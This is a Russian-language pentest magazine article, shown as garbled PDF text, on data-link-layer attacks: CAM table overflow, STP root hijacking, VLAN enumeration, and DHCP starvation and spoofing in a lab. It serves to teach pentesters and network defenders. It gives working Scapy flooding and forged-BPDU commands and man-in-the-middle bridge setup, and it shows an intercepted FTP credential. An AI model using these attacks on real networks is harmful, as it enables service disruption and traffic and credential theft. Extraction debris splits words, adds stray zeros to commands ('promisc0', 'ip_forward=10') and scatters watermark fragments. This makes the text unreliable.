ПЕРЕПОЛНЕНИЕ АССОЦИАТИВНОЙ ПАМЯТИ КОММУТАТОРА
Иногда такая атака называется переполнени ем таблицы MAC-адресов . Прин цип этой атаки состоит в том, чтобы вызвать переполнение коммутаци онной матрицы . В случае чего коммутатор , грубо говоря, превраща ется в хаб и начинает рассылать поступа ющие кадры во все порты , что вызывает иде альные условия для перехвата трафика . Вызывать переполнение очень прос то, ведь у коммутато ров ограничен размер таблиц MAC-адресов . При запол нении таблицы MAC-адресов злоумыш ленник сможет видеть все рассыла емые кадры из всех портов .
CAM Table Overfow
Восполь зуемся Scapy, чтобы провес ти такую атаку . В качестве MAC-адреса источника пусть будет рандомизи рованный MAC-адрес, каждый новый генерирующий ся кадр будет с новым MAC-адресом . MAC-адресов наз начения это тоже касается .
Далее с помощью метода sendp выполняем рассылку фиктивных кадров Ethernet. Задав loop = 1, зациклим отправку этих кадров .
>>>malicious_frames = Ether(src=RandMAC(), dst=RandMAC())
>>>sendp(malicious_frames, iface="eth0", loop=1, verbose=1)
Дамп трафика в момент проведе ния атаки
Таблица MAC-адресов коммутато ра до атаки :
0 |
|
|
|
|
CoreSW#show mac |
address-table count |
|||
0 |
|
|
|
|
Mac Entries for |
Vlan 1:0 |
|
||
---------------------------0 |
||||
Dynamic |
Address |
Count |
: |
30 |
Static |
Address |
Count |
: |
00 |
Total Mac Addresses |
: |
3 |
||
0
Total Mac Address Space Available: 7981 0
Таблица MAC-адресов коммутато ра после атаки :
0 |
|
|
|
|
CoreSW#show mac |
address-table count |
|||
0 |
|
|
|
|
Mac Entries for |
Vlan 1:0 |
|
||
---------------------------0 |
||||
Dynamic |
Address |
Count |
: |
79810 |
Static |
Address |
Count |
: |
00 |
Total Mac Addresses |
: |
7981 |
||
0
Total Mac Address Space Available: 7981 0
Пока таблица MAC-адресов не заполнена , коммутатор будет передавать все кадры из всех портов , используя широковеща тель ную рассылку .
STP ROOT HIJACKING
Как работает STP
STP необходим для того, чтобы обеспечить отказоус тойчивость компьютер ной сети на канальном уровне . Для этого блокиру ются избыточ ные каналы, чтобы не вызвать в сети широковеща тельный шторм. По моему мнению , STP — это устарев ший метод организа ции отказоус тойчивости на уровне L2, учитывая , что есть система агрегиро вания коммутаци онных каналов и тех
нология Storm Control.
Когда топология STP только собирается , назнача ется специаль ный кор невой коммутатор (иначе говоря, root bridge). Выбор основыва ется на спе циальном значении приори тета (по умолчанию это значение эквивален тно 32 768). У всех коммутато ров в домене STP это значение одинако вое, поэтому выбор определя ется сложени ем следующих параметров :
•значение приори тета 32 768;
•MAC-адрес коммутато ра .
Коммутатор , у которого меньше MAC-адрес, станет корневым коммутато ром. Произво дители сетевых устройств назнача ют MAC-адреса своим детищам последова тельно. Чем старее устройство , тем его MAC-адрес меньше . От этого в продак шене корневым коммутато ром часто становит ся какой нибудь древний свитч! :) Пропус кная способ ность сети от этого , конеч но, страдает .
После того как прошли выборы корневого коммутато ра, остальные свитчи выбирают порты , которые смотрят в сторону корневого коммутато ра. Их используют для форвардин га трафика . Затем будут выбраны порты , которые заблокиру ются на логическом уровне . Таким образом STP позволя ет избе жать возникно вения коммутаци онного кольца , вызывающе го широковеща тельный шторм.
Атака
Но если в домене STP внезап но появится новый коммутатор , приори тет которого ниже, чем приори тет текущего корневого коммутато ра, будет выб ран новый корневой коммутатор . Таким образом , изменяя структуру тополо гии STP, можно перехватывать легитимный сетевой трафик .
Схема атаки на STP
Для начала переведем наши физические интерфейсы в неразборчи вый режим, создадим мост br-evil и назначим этому мосту два интерфейса eth0
и eth1:
c0ldheim@PWN:~$ sudo ifconfig eth0 promisc0
c0ldheim@PWN:~$ sudo ifconfig eth1 promisc0
c0ldheim@PWN:~$ sudo brctl addbr br-evil0
c0ldheim@PWN:~$ sudo brctl addif br-evil eth00
c0ldheim@PWN:~$ sudo brctl addif br-evil eth10
c0ldheim@PWN:~$ sudo ifconfig br-evil promisc0
c0ldheim@PWN:~$ sudo ifconfig br-evil up0
Теперь нужно разрешить форвардинг трафика между интерфейсами .
c0ldheim@PWN:~$ sudo sysctl -w net.ipv4.ip_forward=10
Нам пригодит ся Scapy — собрать специаль ный STP-фрейм. Необходимо импортировать модуль для работы с протоко лами L2.
>>> from scapy.layers.l2 import *
Затем собираем необходимый кадр STP с наименьшим значени ем MACадреса в переменных src,rootmac и bridgemac. И напоследок зациклим отправку этого фрейма раз в 3 секунды :
>>>frame = Ether(src="00:00:00:00:00:11", dst="01:80:C2:00:00:00")
>>>frame /= LLC()/STP(rootmac="00:00:00:00:00:11", bridgemac="00:00: 00:00:00:11")
>>>sendp(frame, iface="br-evil", inter=3, loop=1, verbose=1)
Для рассылки служеб ных TCN-сообщений STP использует MAC-адрес мультикас товой рассылки
01:80:C2:00:00:00.
После отправки созданно го нами фрейма видим сообщения STP TCN. Они используют ся для того, чтобы коммутато ры в домене STP обменива лись слу жебной информацией между собой.
Дамп трафика во время атаки на STP
Состояние STP на коммутато ре SW1 после атаки :
VLAN00010
Spanning tree enabled protocol rstp
Root ID |
Priority |
327690 |
|
|
|
Address |
5000.0007.00000 |
|
|
|
Cost |
40 |
|
|
|
Port |
1 (GigabitEthernet0/0) |
|
|
|
Hello Time |
2 sec |
Max Age 20 sec |
Forward Delay 15 sec |
|
|
|
|
|
Bridge ID |
Priority |
32769 |
(priority 32768 sys-id-ext 1) |
|
|
Address |
5000.0008.00000 |
|
|
|
Hello Time |
2 sec |
Max Age 20 sec |
Forward Delay 15 sec |
|
Aging Time |
300 sec0 |
|
|
Interface |
Role Sts Cost |
Prio.Nbr |
Type0 |
------------------- |
---- --- --------- |
-------- |
|
-------------------------------- |
|
|
|
Gi0/0 |
Root FWD 4 |
128.1 |
Shr0 |
Gi0/1 |
Desg FWD 4 |
128.2 |
Shr0 |
Gi0/2 |
Desg FWD 4 |
128.3 |
Shr0 |
Gi0/3 |
Desg FWD 4 |
128.4 |
Shr0 |
Gi1/0 |
Desg FWD 4 |
128.5 |
Shr0 |
Gi1/1 |
Desg FWD 4 |
128.6 |
Shr0 |
Gi1/2 |
Desg FWD 4 |
128.7 |
Shr0 |
|
|
|
|
Interface |
Role Sts Cost |
Prio.Nbr |
Type0 |
------------------- |
---- --- --------- |
-------- |
|
-------------------------------- |
|
|
|
|
|
|
|
Gi1/3 |
Desg FWD 4 |
128.8 |
Shr0 |
Продолжение статьи0 →
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
COVERSTORY |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
c |
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|||
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
← |
|
|
|
|
|
|
|
|
|||
w |
|
|
|
|
|
|
|
|
m |
||
|
0НАЧАЛО СТАТЬИw Click |
to |
BUY |
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
||
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
|
. |
|
|
|
|
.c |
|
|||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x ha |
|
|
|
|
||
БОЛЬШОЙ ГАЙД ПО ПЕНТЕСТУ КАНАЛЬНОГО УРОВНЯ СЕТИ
Состояние |
STP на коммутато |
ре SW2 после атаки : |
|
|||
VLAN00010 |
|
|
|
|
|
|
|
|
|||||
Spanning tree enabled protocol rstp |
|
|||||
Root ID |
|
Priority |
327690 |
|
|
|
|
|
Address |
5000.0007.00000 |
|
||
|
|
Cost |
80 |
|
|
|
|
|
Port |
1 (GigabitEthernet0/0) |
|
||
|
|
Hello Time |
|
2 sec |
Max Age 20 sec |
Forward Delay 15 sec |
|
|
|
|
|||
Bridge ID |
Priority |
32769 |
(priority 32768 sys-id-ext 1) |
|||
|
|
Address |
5000.0009.00000 |
|
||
|
|
Hello Time |
|
2 sec |
Max Age 20 sec |
Forward Delay 15 sec |
|
|
Aging Time |
300 sec0 |
|
||
Interface |
Role Sts Cost |
Prio.Nbr |
Type0 |
------------------- |
---- --- --------- |
-------- |
|
-------------------------------- |
|
|
|
Gi0/0 |
Root FWD 4 |
128.1 |
Shr0 |
Gi0/1 |
Altn BLK 4 |
128.2 |
Shr0 |
Gi0/2 |
Desg FWD 4 |
128.3 |
Shr0 |
Gi0/3 |
Desg FWD 4 |
128.4 |
Shr0 |
Gi1/0 |
Desg FWD 4 |
128.5 |
Shr0 |
Gi1/1 |
Desg FWD 4 |
128.6 |
Shr0 |
Gi1/2 |
Desg FWD 4 |
128.7 |
Shr0 |
|
|
|
|
Interface |
Role Sts Cost |
Prio.Nbr |
Type0 |
------------------- |
---- --- --------- |
-------- |
|
-------------------------------- |
|
|
|
|
|
|
|
Gi1/3 |
Desg FWD 4 |
128.8 |
Shr0 |
Состояние STP на коммутато ре SW3 после атаки :
VLAN00010
Spanning tree enabled protocol rstp
Root ID |
Priority |
327690 |
|
|
|
Address |
5000.0007.00000 |
|
|
|
Cost |
40 |
|
|
|
Port |
1 (GigabitEthernet0/0) |
|
|
|
Hello Time |
2 sec |
Max Age 20 sec |
Forward Delay 15 sec |
|
|
|
|
|
Bridge ID |
Priority |
32769 |
(priority 32768 sys-id-ext 1) |
|
|
Address |
5000.000a.00000 |
|
|
|
Hello Time |
2 sec |
Max Age 20 sec |
Forward Delay 15 sec |
|
Aging Time |
300 sec0 |
|
|
Interface |
Role Sts Cost |
Prio.Nbr |
Type0 |
------------------- |
---- --- --------- |
-------- |
|
-------------------------------- |
|
|
|
Gi0/0 |
Root FWD 4 |
128.1 |
Shr0 |
Gi0/1 |
Altn BLK 4 |
128.2 |
Shr0 |
Gi0/2 |
Desg FWD 4 |
128.3 |
Shr0 |
Gi0/3 |
Desg FWD 4 |
128.4 |
Shr0 |
Gi1/0 |
Desg FWD 4 |
128.5 |
Shr0 |
Gi1/1 |
Desg FWD 4 |
128.6 |
Shr0 |
Gi1/2 |
Desg FWD 4 |
128.7 |
Shr0 |
|
|
|
|
Interface |
Role Sts Cost |
Prio.Nbr |
Type0 |
------------------- |
---- --- --------- |
-------- |
|
-------------------------------- |
|
|
|
|
|
|
|
Gi1/3 |
Desg FWD 4 |
128.8 |
Shr0 |
Атакован ная топология STP
Теперь трафик побежит через наш компьютер . Для нагляднос ти инициирую ICMP-запросы от компьюте ра с IP-адресом 10.1.1.100 до компьюте ра под IP-
адресом 10.1.1.200.
Вот таким достаточ но несложным способом можно перехватывать трафик . При этом для легитимных хостов видимых признаков атаки нет.
VLAN ID Enumeration
С помощью обнаружен ного кадра STP можно понять, в какой сети VLAN ты находишься . Информация о VLAN ID расположе на в заголовке Root Identifer (Root Bridge System ID Extension). Его значение эквивален тно значению VLAN ID на порте , к которому ты подклю чен.
Заголо вок Root Identifer
Таблица сетей VLAN на коммутато ре
Схема сети из EVE-NG
ИСТОЩЕНИЕ И ПОДМЕНА DHCP-СЕРВЕРА
DHCP Starvation
Эта атака основана на проведе нии рассылок огромного количества сооб щений DHCPDISCOVER с целью истощить адресное пространс тво на сервере DHCP. Сервер DHCP будет реагировать на каждый запрос и выдавать IPадрес. После переполнения допустимого адресного пространс тва сервер DHCP больше не сможет обслуживать новых клиентов в своей сети, выдавая им IP-адреса .
DHCP Starvation Attack
Протес тиру ем эту атаку на небольшой локальной сети. DHCP-сервер уже настро ен на маршру тиза торе GW. Подсеть — 10.1.1.0/24.
Полигон для проведе ния атаки на DHCP
С помощью Scapy вызовем рассылку фейковых DHCPDISCOVER. В качестве MAC-адреса назначения и IP-адреса назначения выступят адреса широко вещатель ной рассылки . Добавим слой протоко ла UDP, посколь ку протокол DHCP использует его. В шаблоне options укажем , что мы будем рассылать пакеты DHCP типа DISCOVER И в конце зациклим бесконеч ную отправку генерируемых фреймов .
>>>malicious_dhcp_discover = Ether(src=RandMAC(), dst="FF:FF:FF:FF: FF:FF")
>>>malicious_dhcp_discover /= IP(src="0.0.0.0",dst="255.255.255.
255")
>>>malicious_dhcp_discover /= UDP(sport=68, dport=67)
>>>malicious_dhcp_discover /= BOOTP(op=1, chaddr = RandMAC())
>>>malicious_dhcp_discover /= DHCP(options=[('message-type', 'discover'),('end')])
>>>sendp(malicious_dhcp_discover, iface="eth0", loop=1, verbose=1)
Дамп трафика во время DHCP Starvation
Перепол няющееся адресное пространс тво DHCP-сервера . Часть 1
Перепол няющееся адресное пространс тво DHCP-сервера . Часть 2
Сервер DHCP выведен из строя, теперь можно приступить к созданию его ложного аналога .
DHCP Spoofing
После вывода из строя легитимного DHCP-сервера злоумыш ленник может поднять на своей стороне фейковый DHCP-сервер , заявив, что именно он и является шлюзом по умолчанию . Когда DHCP-сервер выдает IP-адреса хос там в сети, там передается и информация об IP-адресе шлюза по умолчанию . Поэтому , настра ивая такой DHCP-сервер , в качестве default gateway укажем наш IP-адрес. После того как клиент получит адрес, сделав запрос к нам, на его стороне мы будем шлюзом по умолчанию и он будет направлять свои пакеты нам. Это создает идеаль ные условия для проведе ния атак типа MITM.
Восполь зуемся Yersinia, чтобы поднять ложный сервер DHCP.
Создание ложного DHCP-сервера
Конфигура ция ложного DHCP-сервера
Теперь на машине с Windows 10 с помощью двух команд вызовем обновле ние IP-адреса , то есть попробу ем получить адрес из созданно го нами лож ного сервера DHCP:
C:\Windows\system32> ipconfig /release0
C:\Windows\system32> ipconfig /renew0
Клиент получил адрес по DHCP
Как видим, клиент получил IP-адрес и информацию о шлюзе по умолчанию . Теперь можно попытаться перехватить трафик , посколь ку весь трафик кли ента будет идти к нам.
Перек лючим наш интерфейс в неразборчи вый режим и разрешим фор вардинг трафика на интерфейсе :
c0ldheim@PWN:~$ sudo ifconfig eth0 promisc0
c0ldheim@PWN:~$ sudo sysctl -w net.ipv4.ip_forward=10
В итоге нам удалось перехватить незашифрован ный FTP-трафик с кредами nightmare:nightmare.
Перех ват учетных данных для сервера FTP
ВЫВОДЫ
В этой статье я разобрал большинс тво сценари ев атак на канальный уровень компьютер ной сети. Исходя из личного опыта пентестов , могу сказать , что протоко лы уровня L2 очень часто остаются без должно го внимания и в боль шинстве случаев работают с конфигура цией по умолчанию . Этим, как ты видишь, может восполь зовать ся злоумыш ленник .
Атаки L2 в последнее время утратили актуаль ность и немного вышли из моды: сейчас мало кто обращает на них внимание . Возможно , эта статья подарит пентесте рам новые варианты атак, а сетевые инженеры после проч тения смогут повысить уровень защищенности своих сетей. 